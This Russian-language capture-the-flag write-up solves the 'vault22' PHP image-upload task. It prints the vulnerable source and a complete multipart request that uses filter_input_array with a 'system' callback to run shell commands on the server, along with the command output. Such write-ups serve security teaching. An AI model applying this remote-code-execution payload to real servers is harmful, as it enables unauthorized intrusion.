vault22

В задании дана только ссылка на сайт: http://167.114.243.60/
Мы видим функционал загрузки изображений, но сервис постоянно выдает ошибку:

off1
Открываем robots.txt и получаем исходники сервиса:

User-Agent: *
Disallow: /html.tar.gz

Файл upload.php имеет довольно подозрительный код:
$filterImage = $_POST['filter']($size, $text);
Но до его исполнения происходит вызов метода verify_parameters():

$result = verify_parameters();
if ($result !== true) {
    return $result;
}

Посмотрим, что мешает загрузке изображений (verify.php):

<?php
function verify_parameters() {
    if (!isset($_POST['submit'])) {
        return UploadError::POST_SUBMIT;
    }

    if (!isset($_FILES['imageFile'])) {
        return UploadError::IMAGE_NOT_FOUND;
    }

    $target_file = ImageUploader::TARGET_DIR . basename($_FILES["imageFile"]["name"]);
    $imageFileType = strtolower(pathinfo($_FILES["imageFile"]["name"], PATHINFO_EXTENSION));
    $imageFileInfo = getimagesize($_FILES["imageFile"]["tmp_name"]);

    if($imageFileInfo === false) {
        return UploadError::NOT_IMAGE;
    }

    if ($_FILES["imageFile"]["size"] > 1024*32) {
        return UploadError::BIG_SIZE;
    }

    if (!in_array($imageFileType, ['jpg'])) {
        return UploadError::INCORRECT_EXTENSION;
    }

    $imageMimeType = $imageFileInfo['mime'];

    if ($imageMimeType !== 'image/jpeg') {
        return UploadError::INCORRECT_MIMETYPE;
    }

    if (file_exists($target_file)) {
        return UploadError::FILE_EXISTS;
    }

    if (!isset($_POST['filter']) || !isset($_POST['size']) || !isset($_POST['text'])) {
        return UploadError::INVALID_PARAMS;
    }

    $size = intval($_POST['size']);
    if (($size <= 0) || ($size > 512)) {
        return UploadError::INCORRECT_SIZE;
    }
    
    return true;
}
?>

Подготавливаем изображение, удовлетворяющее всем параметрам (в чем нам сильно помогает файл uploadererror.php) и начинаем фаззить filter в $filterImage = $_POST['filter']($size, $text);
Обнаруживаем, что отправка имени функции var_dump даёт достаточно интересный результат:

Content-Disposition: form-data; name="filter"

var_dump
-----------------------------48680858317282118411019469398
HTTP/1.1 500 Internal Server Error
Server: nginx/1.10.3
Date: Sun, 15 Nov 2018 18:20:47 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 34

int(512)
string(11) "sample text"

После нескольких часов гугления обнаруживаем, что функция filter_input_array даёт нам достаточно хороший контроль над переменной $filterImage.
Передача массива в качестве второго аргумента позволит нам построить произвольный массив в качестве результата выполнения функции. Но ImageMagic ничего не ожидает, кроме класса Imagick.
Может быть, мы можем десериализовать входной класс? Посмотрим дополнительные аргументы фильтра в filter_input_array
Это не упоминается на странице функции, но мы можем передать callback функцию для проверки входных данных. FILTER_CALLBACK — это пример для filter_input, но это работает и для функции filter_input_array!
Это означает, что мы можем «проверять» данные, вводимые пользователем с помощью функции с одним аргументом. И у нас есть контроль над ним 😉
Получаем RCE:

POST /index.php?rce=ls HTTP/1.1
Host: 167.114.243.60

...

-----------------------------48680858317282118411019469398
Content-Disposition: form-data; name="filter"

filter_input_array
-----------------------------48680858317282118411019469398
Content-Disposition: form-data; name="size"

1
-----------------------------48680858317282118411019469398
Content-Disposition: form-data; name="text[rce][filter]"

1024
-----------------------------48680858317282118411019469398
Content-Disposition: form-data; name="text[rce][options]"

system
-----------------------------48680858317282118411019469398
Content-Disposition: form-data; name="submit"

Upload Image
-----------------------------48680858317282118411019469398--

Ответ:

HTTP/1.1 500 Internal Server Error
Server: nginx/1.10.3
Date: Sun, 15 Nov 2018 18:44:35 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 112

51a8ae2cab09c6b728919fe09af57ded
flag.exe
html.tar.gz
includes
index.php
public
robots.txt
templates
upload.php

Смотрим права на файл flag.exe:
---x--x--x 1 root root
Ок, попробуем выполнить его (а вдруг?):
POST /index.php?rce=./flag.exe HTTP/1.1
И получаем флаг:
Флаг: dac41d2da4c1a1fd8cac4bd6e827d251


Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *